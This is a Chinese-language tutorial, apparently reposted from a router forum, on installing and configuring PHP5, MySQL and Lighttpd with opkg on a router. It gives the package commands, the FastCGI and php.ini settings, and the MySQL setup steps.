1、输入如下命令更新软件列表:

1
opkg update

2、输入如下命令安装php,mysql,Lighttpd及其组件:

1
2
3
opkg install php5 php5-mod-gd php5-mod-session php5-mod-pdo php5-mod-pdo-mysql php5-mod-mysql php5-mod-mcrypt php5-mod-mbstring php5-fastcgi php5-cgi php5-mod-xml php5-mod-ctype php5-mod-curl php5-mod-exif php5-mod-ftp php5-mod-iconv php5-mod-json php5-mod-sockets php5-mod-sqlite3 php5-mod-tokenizer php5-mod-zip php5-mod-mysqli zoneinfo-core zoneinfo-asia
opkg install mysql-server libncursesw libncurses libreadline terminfo uclibcxx zlib libmysqlclient libmcrypt libltdl libmcrypt
opkg install lighttpd lighttpd-mod-fastcgi lighttpd-mod-access lighttpd-mod-alias lighttpd-mod-rewrite lighttpd-mod-redirect libncurses

二、配置Lighttpd:
编辑/etc/lighttpd/lighttpd.conf文件

  1. 找到【server.document-root =”/www”】将【/www】改为你自己网站存放的路径(比如我的是/web)
  2. 在 static-file.exclude-extensions = ( “.php”, “.pl”, “.fcgi” ) 下插入

    1
    2
    3
    4
    5
    6
    7
    8
    fastcgi.server = (
    ".php" => (
    "localhost" => (
    "socket" => "/tmp/php-fastcgi.socket",
    "bin-path" => "/usr/bin/php-fcgi"
    )
    )
    )
  3. 找到【#server.port = 81】去掉#,将81更改为你想要的端口号

三、配置php
打开/etc/php.ini

  1. 查找;short_open_tag = off改为short_open_tag = on
  2. 查找doc_root = “/www”改为doc_root = “/web”(改为你自己网站存放的路径和Lighttpd的保持一样)
  3. 分别找到以下内容:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    extension=ctype.so
    extension=curl.so
    extension=gd.so
    extension=iconv.so
    extension=json.so
    extension=mbstring.so
    extension=mcrypt.so
    extension=mysql.so
    extension=pdo.so
    extension=pdo-mysql.so
    extension=session.so
    extension=sockets.so
    extension=tokenizer.so
    extension=xml.so

分别将前面的“;”去掉

  1. 找到date.timezone =在后面加上 prc也就是date.timezone = prc
  2. 查找mysql.default_socket =改为mysql.default_socket = /var/run/mysqld.sock

四、配置mysql

  1. 输入如下命令创建数据库文件夹:

    1
    mkdir /mnt/data /mnt/data/mysql /mnt/data/tmp
  2. 输入如下命令创建默认的数据库:

    1
    /usr/bin/mysql_install_db --force
  3. 输入如下命令启动mysql:

    1
    /etc/init.d/mysqld start
  4. 输入如下命令创建mysql的密码

    1
    /usr/bin/mysqladmin -u root password 123456

ok到此配置完毕

  1. 输入如下命令启动Lighttpd:
    1
    /etc/init.d/lighttpd start

转载自 http://www.right.com.cn/forum/thread-121342-1-1.html,有删改